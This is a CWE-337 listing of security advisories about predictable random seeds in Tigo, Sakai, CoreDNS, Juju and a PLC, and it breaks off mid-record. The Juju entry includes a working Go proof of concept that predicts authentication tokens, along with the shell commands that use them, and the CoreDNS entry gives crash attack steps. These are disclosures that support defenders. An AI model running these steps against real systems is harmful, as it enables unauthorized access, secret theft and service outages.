CWE-337
AllowedPredictable Seed in Pseudo-Random Number Generator (PRNG)
Abstraction: Variant · Status: Draft
A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.
29 vulnerabilities reference this CWE, most recent first.
GHSA-GJPW-WR3X-Q236
Vulnerability from github – Published: 2025-08-06 21:31 – Updated: 2025-08-06 21:31Tigo Energy's CCA device is vulnerable to insecure session ID generation in their remote API. The session IDs are generated using a predictable method based on the current timestamp, allowing attackers to recreate valid session IDs. When combined with the ability to circumvent session ID requirements for certain commands, this enables unauthorized access to sensitive device functions on connected solar optimization systems.
{
"affected": [],
"aliases": [
"CVE-2025-7770"
],
"database_specific": {
"cwe_ids": [
"CWE-337"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-06T21:15:32Z",
"severity": "HIGH"
},
"details": "Tigo Energy\u0027s CCA device is vulnerable to insecure session ID generation in their remote API. The session IDs are generated using a predictable method based on the current timestamp, allowing attackers to recreate valid session IDs. When combined with the ability to circumvent session ID requirements for certain commands, this enables unauthorized access to sensitive device functions on connected solar optimization systems.",
"id": "GHSA-gjpw-wr3x-q236",
"modified": "2025-08-06T21:31:40Z",
"published": "2025-08-06T21:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7770"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-217-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GQ5Q-45HH-68CR
Vulnerability from github – Published: 2026-09-15 21:33 – Updated: 2026-09-15 21:33The affected products use insufficiently random values, which allows web session tokens to be predictable, bounding token entropy to the seed space.
{
"affected": [],
"aliases": [
"CVE-2026-66372"
],
"database_specific": {
"cwe_ids": [
"CWE-337"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T21:16:41Z",
"severity": "HIGH"
},
"details": "The affected products use insufficiently random values, which allows web session tokens to be predictable, bounding token entropy to the seed space.",
"id": "GHSA-gq5q-45hh-68cr",
"modified": "2026-09-15T21:33:03Z",
"published": "2026-09-15T21:33:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66372"
},
{
"type": "WEB",
"url": "https://digital-watchdog.com/downloads"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-258-01.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-258-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GR7H-XW4F-WH86
Vulnerability from github – Published: 2025-10-22 19:41 – Updated: 2025-10-24 18:27Impact
EncryptionUtilityServiceImpl initialized an AES256TextEncryptor password (serverSecretKey) using RandomStringUtils with the default java.util.Random. java.util.Random is a non‑cryptographic PRNG and can be predicted from limited state/seed information (e.g., start time window), substantially reducing the effective search space of the generated key. An attacker who can obtain ciphertexts (e.g., exported or at‑rest strings protected by this service) and approximate the PRNG seed can feasibly reconstruct the serverSecretKey and decrypt affected data.
Patches
SAK-49866 is patched in Sakai 23.5, 25.0, and trunk.
Credits
- Reported by Suraj Gangwar.
- Patched by Sam Ottenhoff (Longsight).
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.sakaiproject.kernel:sakai-kernel-impl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "23.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62710"
],
"database_specific": {
"cwe_ids": [
"CWE-337"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T19:41:49Z",
"nvd_published_at": "2025-10-22T23:15:34Z",
"severity": "MODERATE"
},
"details": "### Impact\nEncryptionUtilityServiceImpl initialized an AES256TextEncryptor password (serverSecretKey) using RandomStringUtils with the default java.util.Random. java.util.Random is a non\u2011cryptographic PRNG and can be predicted from limited state/seed information (e.g., start time window), substantially reducing the effective search space of the generated key. An attacker who can obtain ciphertexts (e.g., exported or at\u2011rest strings protected by this service) and approximate the PRNG seed can feasibly reconstruct the serverSecretKey and decrypt affected data.\n\n### Patches\nSAK-49866 is patched in Sakai 23.5, 25.0, and trunk. \n\n### Credits\n- Reported by [Suraj Gangwar](https://www.linkedin.com/in/surajgangwar?trk=contact-info).\n- Patched by Sam Ottenhoff (Longsight).",
"id": "GHSA-gr7h-xw4f-wh86",
"modified": "2025-10-24T18:27:44Z",
"published": "2025-10-22T19:41:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-gr7h-xw4f-wh86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62710"
},
{
"type": "WEB",
"url": "https://github.com/sakaiproject/sakai/commit/bde070104b1de01f4a6458dca6d9e0880a0e3c04"
},
{
"type": "PACKAGE",
"url": "https://github.com/sakaiproject/sakai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Sakai kernel-impl: predictable PRNG used to generate server\u2011side encryption key in EncryptionUtilityServiceImpl"
}
GHSA-H75P-J8XM-M278
Vulnerability from github – Published: 2026-03-06 22:08 – Updated: 2026-03-06 22:08Executive Summary
A Denial of Service vulnerability exists in CoreDNS's loop detection plugin that allows an attacker to crash the DNS server by sending specially crafted DNS queries. The vulnerability stems from the use of a predictable pseudo-random number generator (PRNG) for generating a secret query name, combined with a fatal error handler that terminates the entire process.
Technical Details
Vulnerability Description
The CoreDNS loop plugin is designed to detect forwarding loops by performing a self-test during server startup. The plugin generates a random query name (qname) using Go's math/rand package and sends an HINFO query to itself. If the server receives multiple matching queries, it assumes a forwarding loop exists and terminates.
The vulnerability arises from two design flaws:
-
Predictable PRNG Seed: The random number generator is seeded with
time.Now().UnixNano(), making the generated qname predictable if an attacker knows the approximate server start time. -
Fatal Error Handler: When the plugin detects what it believes is a loop (3+ matching HINFO queries), it calls
log.Fatalf()which invokesos.Exit(1), immediately terminating the process without cleanup or recovery.
Affected Code
File: plugin/loop/setup.go
// PRNG seeded with predictable timestamp
var r = rand.New(time.Now().UnixNano())
// Qname generation using two consecutive PRNG calls
func qname(zone string) string {
l1 := strconv.Itoa(r.Int())
l2 := strconv.Itoa(r.Int())
return dnsutil.Join(l1, l2, zone)
}
File: plugin/loop/loop.go
func (l *Loop) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
// ... validation checks ...
if state.Name() == l.qname {
l.inc() // Increment counter
}
if l.seen() > 2 {
// FATAL: Terminates entire process
log.Fatalf("Loop (%s -> %s) detected for zone %q...", ...)
}
// ...
}
File: plugin/pkg/log/log.go
func Fatalf(format string, v ...any) {
logf(fatal, format, v...)
os.Exit(1) // Immediate process termination
}
Exploitation Window
The loop plugin remains active during the following conditions:
| Condition | Window Duration | Attack Feasibility |
|---|---|---|
| Healthy startup | 2 seconds | Requires precise timing |
| Self-test failure (upstream unreachable) | 30 seconds | HIGH - Extended window |
| Network degradation | Variable | Depends on retry behavior |
Attack Scenario
Primary Attack Vector: Network Degradation
When the upstream DNS server is unreachable (network partition, misconfiguration, outage), the loop plugin's self-test fails repeatedly. During this period:
- The loop plugin remains active for up to 30 seconds
- Each self-test attempt generates an HINFO query visible in CoreDNS logs
- An attacker with log access (shared Kubernetes cluster, centralized logging) can observe the qname
- The attacker sends 3 HINFO queries with the observed qname
- The server immediately crashes
┌──────────────────────────────────────────────────────────────────────────┐
│ ATTACK TIMELINE │
├──────────────────────────────────────────────────────────────────────────┤
│ T+0s CoreDNS starts, PRNG seeded with UnixNano() │
│ T+0.5s Self-test HINFO query sent (visible in logs) │
│ T+2s Self-test fails (upstream timeout) │
│ T+3s Retry #1 - counter resets, qname unchanged │
│ T+5s Retry #2 - attacker observes qname in logs │
│ T+5.1s ATTACKER: Send HINFO #1 → counter = 1 │
│ T+5.2s ATTACKER: Send HINFO #2 → counter = 2 │
│ T+5.3s ATTACKER: Send HINFO #3 → counter = 3 → os.Exit(1) │
│ T+5.3s SERVER CRASHES │
└──────────────────────────────────────────────────────────────────────────┘
Impact Assessment
Attack Requirements
| Requirement | Notes |
|---|---|
| Network Access | Must be able to send UDP packets to CoreDNS port |
| Log Access | Required to observe the qname (common in shared clusters) |
| Timing | Extended window during network degradation |
| Authentication | None required |
Real-World Impact
CoreDNS is the default DNS server for Kubernetes clusters. A successful attack would:
- Disruption: All DNS resolution fails within the cluster
- Cascading Failures: Services unable to discover each other
- Restart Loop: If attack persists, CoreDNS enters crash-restart cycle
- Data Plane Impact: Application-level failures across the cluster
References
- CoreDNS GitHub: https://github.com/coredns/coredns
- Loop Plugin Documentation: https://coredns.io/plugins/loop/
- Go math/rand Documentation: https://pkg.go.dev/math/rand
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26018"
],
"database_specific": {
"cwe_ids": [
"CWE-337"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-06T22:08:22Z",
"nvd_published_at": "2026-03-06T16:16:10Z",
"severity": "HIGH"
},
"details": "## Executive Summary\n\nA Denial of Service vulnerability exists in CoreDNS\u0027s loop detection plugin that allows an attacker to crash the DNS server by sending specially crafted DNS queries. The vulnerability stems from the use of a predictable pseudo-random number generator (PRNG) for generating a secret query name, combined with a fatal error handler that terminates the entire process.\n\n---\n## Technical Details\n\n### Vulnerability Description\n\nThe CoreDNS `loop` plugin is designed to detect forwarding loops by performing a self-test during server startup. The plugin generates a random query name (`qname`) using Go\u0027s `math/rand` package and sends an HINFO query to itself. If the server receives multiple matching queries, it assumes a forwarding loop exists and terminates.\n\n**The vulnerability arises from two design flaws:**\n\n1. **Predictable PRNG Seed**: The random number generator is seeded with `time.Now().UnixNano()`, making the generated qname predictable if an attacker knows the approximate server start time.\n\n2. **Fatal Error Handler**: When the plugin detects what it believes is a loop (3+ matching HINFO queries), it calls `log.Fatalf()` which invokes `os.Exit(1)`, immediately terminating the process without cleanup or recovery.\n\n### Affected Code\n\n**File: `plugin/loop/setup.go`**\n```go\n// PRNG seeded with predictable timestamp\nvar r = rand.New(time.Now().UnixNano())\n\n// Qname generation using two consecutive PRNG calls\nfunc qname(zone string) string {\n l1 := strconv.Itoa(r.Int())\n l2 := strconv.Itoa(r.Int())\n return dnsutil.Join(l1, l2, zone)\n}\n```\n\n**File: `plugin/loop/loop.go`**\n```go\nfunc (l *Loop) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {\n // ... validation checks ...\n \n if state.Name() == l.qname {\n l.inc() // Increment counter\n }\n\n if l.seen() \u003e 2 {\n // FATAL: Terminates entire process\n log.Fatalf(\"Loop (%s -\u003e %s) detected for zone %q...\", ...)\n }\n \n // ...\n}\n```\n\n**File: `plugin/pkg/log/log.go`**\n```go\nfunc Fatalf(format string, v ...any) {\n logf(fatal, format, v...)\n os.Exit(1) // Immediate process termination\n}\n```\n\n### Exploitation Window\n\nThe loop plugin remains active during the following conditions:\n\n| Condition | Window Duration | Attack Feasibility |\n|-----------|-----------------|-------------------|\n| Healthy startup | 2 seconds | Requires precise timing |\n| Self-test failure (upstream unreachable) | 30 seconds | **HIGH** - Extended window |\n| Network degradation | Variable | Depends on retry behavior |\n\n### Attack Scenario\n\n**Primary Attack Vector: Network Degradation**\n\nWhen the upstream DNS server is unreachable (network partition, misconfiguration, outage), the loop plugin\u0027s self-test fails repeatedly. During this period:\n\n1. The loop plugin remains active for up to 30 seconds\n2. Each self-test attempt generates an HINFO query visible in CoreDNS logs\n3. An attacker with log access (shared Kubernetes cluster, centralized logging) can observe the qname\n4. The attacker sends 3 HINFO queries with the observed qname\n5. The server immediately crashes\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 ATTACK TIMELINE \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 T+0s CoreDNS starts, PRNG seeded with UnixNano() \u2502\n\u2502 T+0.5s Self-test HINFO query sent (visible in logs) \u2502\n\u2502 T+2s Self-test fails (upstream timeout) \u2502\n\u2502 T+3s Retry #1 - counter resets, qname unchanged \u2502\n\u2502 T+5s Retry #2 - attacker observes qname in logs \u2502\n\u2502 T+5.1s ATTACKER: Send HINFO #1 \u2192 counter = 1 \u2502\n\u2502 T+5.2s ATTACKER: Send HINFO #2 \u2192 counter = 2 \u2502\n\u2502 T+5.3s ATTACKER: Send HINFO #3 \u2192 counter = 3 \u2192 os.Exit(1) \u2502\n\u2502 T+5.3s SERVER CRASHES \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n---\n\n## Impact Assessment\n\n### Attack Requirements\n\n| Requirement | Notes |\n|-------------|-------|\n| Network Access | Must be able to send UDP packets to CoreDNS port |\n| Log Access | Required to observe the qname (common in shared clusters) |\n| Timing | Extended window during network degradation |\n| Authentication | None required |\n\n### Real-World Impact\n\nCoreDNS is the default DNS server for Kubernetes clusters. A successful attack would:\n\n1. **Disruption**: All DNS resolution fails within the cluster\n2. **Cascading Failures**: Services unable to discover each other\n3. **Restart Loop**: If attack persists, CoreDNS enters crash-restart cycle\n4. **Data Plane Impact**: Application-level failures across the cluster\n\n## References\n\n- CoreDNS GitHub: https://github.com/coredns/coredns\n- Loop Plugin Documentation: https://coredns.io/plugins/loop/\n- Go math/rand Documentation: https://pkg.go.dev/math/rand",
"id": "GHSA-h75p-j8xm-m278",
"modified": "2026-03-06T22:08:22Z",
"published": "2026-03-06T22:08:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-h75p-j8xm-m278"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26018"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "CoreDNS Loop Detection Denial of Service Vulnerability"
}
GHSA-MH98-763H-M9V4
Vulnerability from github – Published: 2024-10-03 16:49 – Updated: 2024-10-09 22:48JUJU_CONTEXT_ID is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633.
This value looks fairly unpredictable, but due to the random source used, it is highly predictable.
JUJU_CONTEXT_ID has the following components:
- the application name
- the unit number
- the hook being currently run
- a uint63 decimal number
On a system the application name and unit number can be deduced by reading the structure of the filesystem. The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all. Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.
There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).
Impact
On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.
Patches
Patch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7 Patched in: - 3.5.4 - 3.4.6 - 3.3.7 - 3.1.10 - 2.9.51
Workarounds
No workaround. Upgrade will be required.
References
https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152 https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164
PoC
With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.
.
|-- hooks
| `-- install
#!/bin/sh
sleep 10000
|-- manifest.yaml
bases:
- name: ubuntu
channel: 22.04/stable
architectures:
- amd64
|-- metadata.yaml
name: sleepy
summary: a sleepy charm
description: a sleepy charm that sleeps on install
`-- revision
1
With sleepy deployed into a model, we have a unit with the name sleepy/0 and an tag of unit-sleepy-0.
With access to the log file we can very quickly get the start time of the unit:
ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started'
2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started
If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:
nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
cat: unit-sleepy-0.log: Permission denied
nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
File: unit-sleepy-0.log
Size: 1403 Blocks: 8 IO Block: 4096 regular file
Device: 10302h/66306d Inode: 25967076 Links: 1
Access: (0640/-rw-r-----) Uid: ( 104/ syslog) Gid: ( 4/ adm)
Access: 2024-08-06 05:10:48.686975042 +0000
Modify: 2024-08-06 05:10:07.159133215 +0000
Change: 2024-08-06 05:10:07.159133215 +0000
Birth: 2024-08-06 05:10:06.965129276 +0000
We can then pass that into this program:
package main
import (
"flag"
"fmt"
"math/rand"
"time"
)
func main() {
var unitName string
var unitStartLogTime string
var currentHook string
flag.StringVar(&unitName, "u", "sleepy/0", "")
flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log")
flag.StringVar(¤tHook, "h", "install", "the current hook that is running right now")
flag.Parse()
t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
if err != nil {
panic(err)
}
sources := []rand.Source{
rand.NewSource(t.Unix()),
rand.NewSource(t.Unix() - 1),
rand.NewSource(t.Unix() - 2),
}
for i := 0; i < 10; i++ {
for _, source := range sources {
fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
}
}
}
This program will give us a list of JUJU_CONTEXT_IDs to try. We just need to try each one. In this case it was the first one, because we had enough information.
$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install
sleepy/0-install-7349430268617352851
sleepy/0-install-2171542415131519293
sleepy/0-install-6564961386023494624
sleepy/0-install-59904244413115609
sleepy/0-install-6073989428498739633
sleepy/0-install-2504995199508561544
sleepy/0-install-1526670560532335303
sleepy/0-install-2568216045630615950
sleepy/0-install-8047402353801897930
Unfortunately, this worked too well.
nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
True
With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/juju/juju"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240826044107-ecd7e2d0e986"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-7558"
],
"database_specific": {
"cwe_ids": [
"CWE-1391",
"CWE-337",
"CWE-340"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-03T16:49:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "`JUJU_CONTEXT_ID` is the authentication measure on the unit hook tool abstract domain socket. It looks like `JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633`.\n\nThis value looks fairly unpredictable, but due to the random source used, it is highly predictable.\n\n`JUJU_CONTEXT_ID` has the following components:\n- the application name\n- the unit number\n- the hook being currently run\n- a uint63 decimal number\n\nOn a system the application name and unit number can be deduced by reading the structure of the filesystem.\nThe current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.\nFinally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.\n\nThere is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).\n\n### Impact\nOn a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.\n\n### Patches\nPatch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7\nPatched in:\n- 3.5.4\n- 3.4.6\n- 3.3.7\n- 3.1.10\n- 2.9.51\n\n### Workarounds\nNo workaround. Upgrade will be required.\n\n### References\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164\n\n### PoC\nWith a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.\n\n```\n.\n|-- hooks\n| `-- install\n#!/bin/sh\nsleep 10000\n|-- manifest.yaml\nbases:\n - name: ubuntu\n channel: 22.04/stable\n architectures:\n - amd64\n|-- metadata.yaml\nname: sleepy\nsummary: a sleepy charm\ndescription: a sleepy charm that sleeps on install\n`-- revision\n1\n```\n\nWith sleepy deployed into a model, we have a unit with the name `sleepy/0` and an tag of `unit-sleepy-0`.\n\nWith access to the log file we can very quickly get the start time of the unit:\n```\nubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep \u0027unit \"sleepy/0\" started\u0027\n2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit \"sleepy/0\" started\n```\n\nIf we don\u0027t have access to the log, we could get pretty close by trying every second between when log file was created and now:\n```\nnobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log\ncat: unit-sleepy-0.log: Permission denied\nnobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log\n File: unit-sleepy-0.log\n Size: 1403 \tBlocks: 8 IO Block: 4096 regular file\nDevice: 10302h/66306d\tInode: 25967076 Links: 1\nAccess: (0640/-rw-r-----) Uid: ( 104/ syslog) Gid: ( 4/ adm)\nAccess: 2024-08-06 05:10:48.686975042 +0000\nModify: 2024-08-06 05:10:07.159133215 +0000\nChange: 2024-08-06 05:10:07.159133215 +0000\n Birth: 2024-08-06 05:10:06.965129276 +0000\n```\n\nWe can then pass that into this program:\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc main() {\n\tvar unitName string\n\tvar unitStartLogTime string\n\tvar currentHook string\n\tflag.StringVar(\u0026unitName, \"u\", \"sleepy/0\", \"\")\n\tflag.StringVar(\u0026unitStartLogTime, \"t\", \"2024-08-06 05:10:07\", \"time when the last \u0027INFO juju.worker.uniter uniter.go:363 unit %q started\u0027 log was written to /var/log/juju/unit-name-0.log\")\n\tflag.StringVar(\u0026currentHook, \"h\", \"install\", \"the current hook that is running right now\")\n\tflag.Parse()\n\n\tt, err := time.Parse(\"2006-01-02 15:04:05\", unitStartLogTime)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsources := []rand.Source{\n\t\trand.NewSource(t.Unix()),\n\t\trand.NewSource(t.Unix() - 1),\n\t\trand.NewSource(t.Unix() - 2),\n\t}\n\n\tfor i := 0; i \u003c 10; i++ {\n\t\tfor _, source := range sources {\n\t\t\tfmt.Printf(\"%s-%s-%d\\n\", unitName, currentHook, source.Int63())\n\t\t}\n\t}\n}\n```\n\nThis program will give us a list of `JUJU_CONTEXT_ID`s to try. We just need to try each one. In this case it was the first one, because we had enough information.\n\n```\n$ go run . -u sleepy/0 -t \"2024-08-06 05:10:07\" -h install\nsleepy/0-install-7349430268617352851\nsleepy/0-install-2171542415131519293\nsleepy/0-install-6564961386023494624\nsleepy/0-install-59904244413115609\nsleepy/0-install-6073989428498739633\nsleepy/0-install-2504995199508561544\nsleepy/0-install-1526670560532335303\nsleepy/0-install-2568216045630615950\nsleepy/0-install-8047402353801897930\n```\n\nUnfortunately, this worked too well.\n```\nnobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader\nTrue\n```\n\nWith a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.",
"id": "GHSA-mh98-763h-m9v4",
"modified": "2024-10-09T22:48:18Z",
"published": "2024-10-03T16:49:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7"
},
{
"type": "PACKAGE",
"url": "https://github.com/juju/juju"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-3173"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "JUJU_CONTEXT_ID is a predictable authentication secret"
}
GHSA-MQMM-6427-XMX3
Vulnerability from github – Published: 2025-09-24 00:30 – Updated: 2025-09-24 00:30A predictable seed in pseudo-random number generator vulnerability has been discovered in firmware version 3.60 of the Click Plus PLC. The vulnerability relies on the fact that the software implements a predictable seed for its pseudo-random number generator, which compromises the security of the generated private keys.
{
"affected": [],
"aliases": [
"CVE-2025-55069"
],
"database_specific": {
"cwe_ids": [
"CWE-337"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-23T23:15:30Z",
"severity": "HIGH"
},
"details": "A predictable seed in pseudo-random number generator vulnerability has been discovered in firmware version 3.60 of the Click Plus PLC. The vulnerability relies on the fact that the software implements a predictable seed for its pseudo-random number generator, which compromises the security of the generated private keys.",
"id": "GHSA-mqmm-6427-xmx3",
"modified": "2025-09-24T00:30:41Z",
"published": "2025-09-24T00:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55069"
},
{
"type": "WEB",
"url": "https://www.automationdirect.com/support/software-downloads"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-266-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
